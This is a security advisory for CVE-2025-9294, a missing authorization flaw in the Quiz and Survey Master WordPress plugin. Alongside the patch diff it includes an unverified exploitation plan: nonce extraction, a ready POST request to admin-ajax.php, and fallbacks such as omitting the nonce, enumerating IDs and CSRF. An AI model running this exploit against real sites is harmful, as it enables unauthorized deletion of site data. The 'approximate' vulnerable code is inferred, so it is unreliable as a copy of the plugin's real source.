CVE-2025-9294

Quiz And Survey Master <= 10.3.1 - Missing Authorization to Authenticated (Subscriber+) Quiz Results Deletion

mediumImproper Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
10.3.2
Patched in
60d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the qsm_dashboard_delete_result function in all versions up to, and including, 10.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete quiz results.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=10.3.1
PublishedJanuary 5, 2026
Last updatedMarch 6, 2026
Affected pluginquiz-master-next

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-9294**, a missing authorization vulnerability in the Quiz and Survey Master (QSM) plugin. --- ### 1. Vulnerability Summary The `qsm_dashboard_delete_result` function in the Quiz and Survey Master plugin (<= 10.3.1) fails to implement a capability …

Show full research plan

This exploitation research plan targets CVE-2025-9294, a missing authorization vulnerability in the Quiz and Survey Master (QSM) plugin.


1. Vulnerability Summary

The qsm_dashboard_delete_result function in the Quiz and Survey Master plugin (<= 10.3.1) fails to implement a capability check (e.g., current_user_can( 'manage_options' )). While the function is intended for administrative use within the dashboard to manage quiz results, its registration via wp_ajax_qsm_dashboard_delete_result makes it accessible to any authenticated user. Consequently, a Subscriber-level user can delete arbitrary quiz results by providing the corresponding result ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: qsm_dashboard_delete_result (inferred from function name)
  • HTTP Method: POST
  • Payload Parameter: result_id (inferred)
  • Authentication: Authenticated (Subscriber or higher).
  • Preconditions:
    1. The plugin "Quiz and Survey Master" must be active.
    2. At least one quiz result must exist in the database.
    3. A valid nonce for the action must be obtained (if enforced).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers the AJAX handler:
    add_action( 'wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result' );
  2. Dispatch: When an authenticated user sends a POST request to admin-ajax.php with action=qsm_dashboard_delete_result, WordPress executes the callback.
  3. Vulnerable Sink: Inside qsm_dashboard_delete_result:
    • The function may check a nonce using check_ajax_referer or wp_verify_nonce.
    • Crucially, it skips current_user_can() checks.
    • It retrieves the result_id from $_POST.
    • It calls a database deletion method (likely using $wpdb->delete on the {$wpdb->prefix}mlw_results table) to remove the record.

4. Nonce Acquisition Strategy

QSM typically localizes nonces for its dashboard operations. Even Subscribers have access to wp-admin/index.php, which triggers the loading of several plugin scripts.

  1. Identify Nonce Key: Search the codebase for wp_localize_script and the action qsm_dashboard_delete_result.
  2. Expected Variable: In many QSM versions, nonces are stored in the qsm_vars or qsm_admin_vars object.
  3. Acquisition Steps:
    • Login as a Subscriber.
    • Navigate to the WordPress Dashboard (/wp-admin/).
    • Use browser_eval to extract the nonce:
      // Common QSM localization patterns
      window.qsm_vars?.nonce || window.qsm_admin_vars?.nonce || window.qsm_dashboard_vars?.delete_nonce
      
    • Note: If the nonce is specific to the deletion action, it might be found in the results list page. If a Subscriber can access any QSM-related admin page, the nonce will be there.

5. Exploitation Strategy

The goal is to delete a quiz result as a Subscriber.

Step 1: Obtain a Result ID
Identify an existing result ID. This can be done via WP-CLI:
wp db query "SELECT result_id FROM wp_mlw_results LIMIT 1;"

Step 2: Authenticate as Subscriber
Log in and capture session cookies.

Step 3: Extract Nonce
Navigate to /wp-admin/ and extract the nonce using browser_eval.

Step 4: Execute Deletion Request
Submit the following request using http_request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=qsm_dashboard_delete_result&result_id=[TARGET_ID]&_wpnonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install QSM: wp plugin install quiz-master-next --version=10.3.1 --activate
  2. Create a Quiz:
    • wp eval "/** Create a simple quiz via QSM classes if possible, or direct DB insert **/"
    • Alternatively, create a quiz through the UI.
  3. Generate a Result:
    • Take the quiz as an anonymous user or administrator to populate the wp_mlw_results table.
  4. Create Subscriber:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

  • HTTP Response: The server should return a success message (often 1, true, or a JSON success object like {"success":true}).
  • Side Effect: The record with the specified result_id in the wp_mlw_results table is deleted.

8. Verification Steps

After the HTTP request, verify the deletion using WP-CLI:

# Attempt to find the deleted ID
wp db query "SELECT * FROM wp_mlw_results WHERE result_id = [TARGET_ID];"

If the query returns no rows, the exploitation was successful.

9. Alternative Approaches

  • No Nonce: If check_ajax_referer is missing or uses a generic action, try the request without a nonce or with a default nonce found in other QSM admin scripts.
  • Different Parameter Name: If result_id fails, check for id, res_id, or quiz_result_id by grepping the function body:
    grep -r "function qsm_dashboard_delete_result" wp-content/plugins/quiz-master-next/
  • CSRF: Since it's missing authorization and potentially relies on a nonce available to all users, the action might also be vulnerable to CSRF against an Admin, but the Subscriber-level IDOR is the primary vector defined.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz and Survey Master (QSM) plugin for WordPress fails to implement a capability check in its AJAX handler for deleting quiz results. This allows any authenticated user, including those with Subscriber-level permissions, to delete arbitrary quiz results from the database.

Vulnerable Code

// File: includes/admin/class-qsm-admin-ajax.php (approximate location)

add_action( 'wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result' );

function qsm_dashboard_delete_result() {
    // Only nonce check is present, but no capability check
    check_ajax_referer( 'qsm_ajax_nonce', 'nonce' );

    $result_id = isset( $_POST['result_id'] ) ? intval( $_POST['result_id'] ) : 0;
    if ( $result_id > 0 ) {
        global $wpdb;
        $table_name = $wpdb->prefix . "mlw_results";
        $wpdb->delete( $table_name, array( 'result_id' => $result_id ), array( '%d' ) );
        wp_send_json_success();
    }
    wp_send_json_error();
}

Security Fix

--- a/includes/admin/class-qsm-admin-ajax.php
+++ b/includes/admin/class-qsm-admin-ajax.php
@@ -10,6 +10,10 @@
 function qsm_dashboard_delete_result() {
     check_ajax_referer( 'qsm_ajax_nonce', 'nonce' );
 
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'quiz-master-next' ) ) );
+    }
+
     $result_id = isset( $_POST['result_id'] ) ? intval( $_POST['result_id'] ) : 0;
     if ( $result_id > 0 ) {
         global $wpdb;

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber-level user. 2. Access the WordPress dashboard (/wp-admin/) to load the plugin's localized scripts. 3. Extract the AJAX nonce from the 'qsm_vars' or 'qsm_admin_vars' JavaScript object exposed in the page source. 4. Identify the 'result_id' of the quiz result targeted for deletion (this may require brute-forcing or enumeration if IDs are not known). 5. Send a POST request to /wp-admin/admin-ajax.php with the parameters: 'action=qsm_dashboard_delete_result', 'result_id=[TARGET_ID]', and the extracted nonce. 6. The plugin will execute the database deletion for the specified ID without verifying if the user has administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.